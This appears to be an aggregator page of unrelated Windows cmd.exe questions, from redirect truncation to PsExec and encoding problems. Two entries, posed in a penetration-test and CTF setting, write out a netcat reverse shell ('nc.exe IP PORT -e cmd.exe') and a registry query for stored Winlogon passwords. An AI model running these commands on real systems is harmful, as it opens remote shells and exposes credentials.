cmd.exe – CMD command – output to file – not working well

hope you could help me with this strange issue.
I have an EXE file that I run with this syntax:

**

<name of exe file> <name of specific test> <TRUEFALSE> <Iteration number>

** (details are not important here).

on each iteration, the file prints a line: “iteration #i”.
When I run the test, all the output is presented on the CMD window.

command: enter image description here

end of output:

enter image description here

As you may see, all 1000 iterations ran (0-999).
But, when I only add this to the command:

enter image description here

and try to get the exact same output in a file, it will always cut the X last iterations:

enter image description here

And the issue is consistent – if I want 100 iterations, it will get until ~64, for 10k iteration there will be 9996 prints, for 7000 it’s 6960, but never the amount I asked for.
It always misses the end for some reason. (But again, when the output is not to a file, but to the CMD window, all works great!)

Working on Windows 10.
thanks in advance for the helpers!

cmd.exe – Hide PsExec window when starting from cmd

I’m executing a command as another user on the same machine using PsExec from cmd like this:

PsExec.exe -u myuser -p mypass timeout 4

When I do so, a new cmd window opens and stays open until the command passed to PsExec has completed. How do I prevent this new window from opening or showing?

The closest I got was with the following, but this is still unsatisfactory, as the new window is visible for a few moments before minimizing:

PsExec.exe -u myuser -p mypass cmd.exe /c "start /min timeout 4"

The only other question I found regarding this was starting from PowerShell, but I’m in the standard cmd. I’m on Windows 10, PsExec v2.2.

windows – How to fix accentuation encoding with cmd.exe running inside bash?

I installed https://www.msys2.org/ and setup an ssh server for it. With this I can connect to my machine and work remotely. The problem is that some application as Visual Studio tools or windows specific cmd.exe programs cannot run from a bash.exe shell. Then, I nest a cmd.exe shell inside my bash.exe shell to run these applications (I also use winpty.exe for mapping the input arrow keys https://github.com/rprichard/winpty).

The problem with this setup is that accentuated letters are displayed as _, for example, running the command cp -h, I triggered an error which showed a message where the word informações was displayed as informa___oes:

enter image description here

I am not sure why this is happening. I know my cmd.exe console uses the encoding 850 because when I run chcp in a new shell, it outputs 850. I tried changing its value to 1252 and 65001, but it keeps showing accented letters as _:

enter image description here

I searched for this 850 encoding and I found https://en.wikipedia.org/wiki/Code_page_850, where it is called as DOS Latin 1. Would this problem be fixed if I set my bash encoding to DOS Latin 1 before I nest a cmd.exe command prompt inside it? How could I set my bash.exe encoding to this CP 850 or DOS Latin 1 encoding?

cmd.exe – Problems launching java programs in Windows Command Line after Java Update 281

After updating Java 8 (to version 281) yesterday (2021-02-16) I could no longer use the Single-File Launch in the Windows Command Line. Prior to this I had no problems using this feature but now I get the following error;

Error: could not find or load main class filename.java

What did this update change or mess up? I’m very fond of the Single-File Launch feature and I would be very sad to never be able to run java files like this again. What can I do to fix this, any suggestions?

Thanks in advance!

penetration test – nc reverse shell (cmd.exe) not executing .exe files (windows)

I have a reverse shell via nc (-e cmd.exe), everything works fine, however when I try run executables it just echos the name of the exe

C:inetpubappesc.exe

esc.exe

C:inetpubapp

Can someone help me understand why this is happening?

EDIT: I can see its executing (a bunch of cmd tasks running), and any associated files get tied up with the process, which I dont have access to kill once I kick them off. Why is the exe not staying within my current shell?

cmd.exe – in CMD using Start to run another program, How do I pass along parameters to the called program?

I want to call another program and return while it is running
I can use this

start /MIN "Updating Local Utilities" UPutils ^&^& exit

and that works great.

But I want to pass arguments to the started instance.

These methods don’t work:

rem pass along literal parameters
start /MIN "Updating Local Utilities" UPutils C:source  c:Target  ^&^& exit

rem pass along dynamic parameters
start /MIN "Updating Local Utilities" "UPutils %Source% %Target%"  ^&^& exit

but that is the idea of what I want.

My receiving program (UpUtils.bat) would simply use them as %1 and %2 arguments

Echo %1
Echo %2

Thanks

cmd.exe – input code (cmd)

I wanted it when it came out: do I need to clear the user's temperature? I write "yes" and cmd deletes the entire temporary folder and if I write "no" the cmd is closed.
This is the code I managed, but it doesn't work.

@echo off
set /P scelta="Vuoi anche cancellare temp del tuo utente?"
if %scelta% = "yes" (
   echo fregato!
   pause
) else (
   echo ciao!
   pause

echo ciao and echo fregato it's just a test to see if it works

windows – Powershell (WinRM) and cmd.exe: reg tax output variance

During a CTF, I encountered the following PS & cmd.exe anomaly:

  • I got access to a Windows x86 server via winRM port 5985 with evil-winrm. (https://github.com/Hackplayers/evil-winrm) This creates a PS shell.
  • I used the PS shell to transfer and use nc.exe cmd.exe / c "nc.exe IP PORT -e cmd.exe" to bring an additional regular cmd.exe shell back to me.

I searched the registry for saved passwords using the following command: Registry query "HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows NT CurrentVersion Winlogon"

Here I noticed that the reg query of the PS shell returns considerably more output than the reg query cmd.exe. PS contains the entry "DefaultPassword", while cmd.exe does this Not Enter this value.

The complete output deviation is recorded in the following screenshot:
The request query on Powershell shows more entries than the request query on cmd.exe
The same behavior can be observed with other registration elements. PS generally returns more items than cmd.exe "sub-shell".

Clues to why this behavior occurs are very much appreciated.

Command line – possibility to open a folder from Windows Explorer in cmd.exe on Windows 10 with a shortcut?

In Windows 10, I'm looking for a shortcut to open cmd.exe with a directory / folder from Windows Explorer so that I have that specific folder as the actual working directory in the command prompt.

I know the trick of holding shift and right-click in the relative folder in Explorer, where you get an additional menu option to open in cmd.exe, as explained here:

https://superuser.com/a/340051/1109379

Unfortunately, this does not work in Windows 10, it only works for Windows 7 and Windows 8. In Windows 10, you only have the option to open it in PowerShell, but not in the command prompt / cmd.exe.

  • How do I open a folder in Windows Explorer in cmd.exe without typing too much?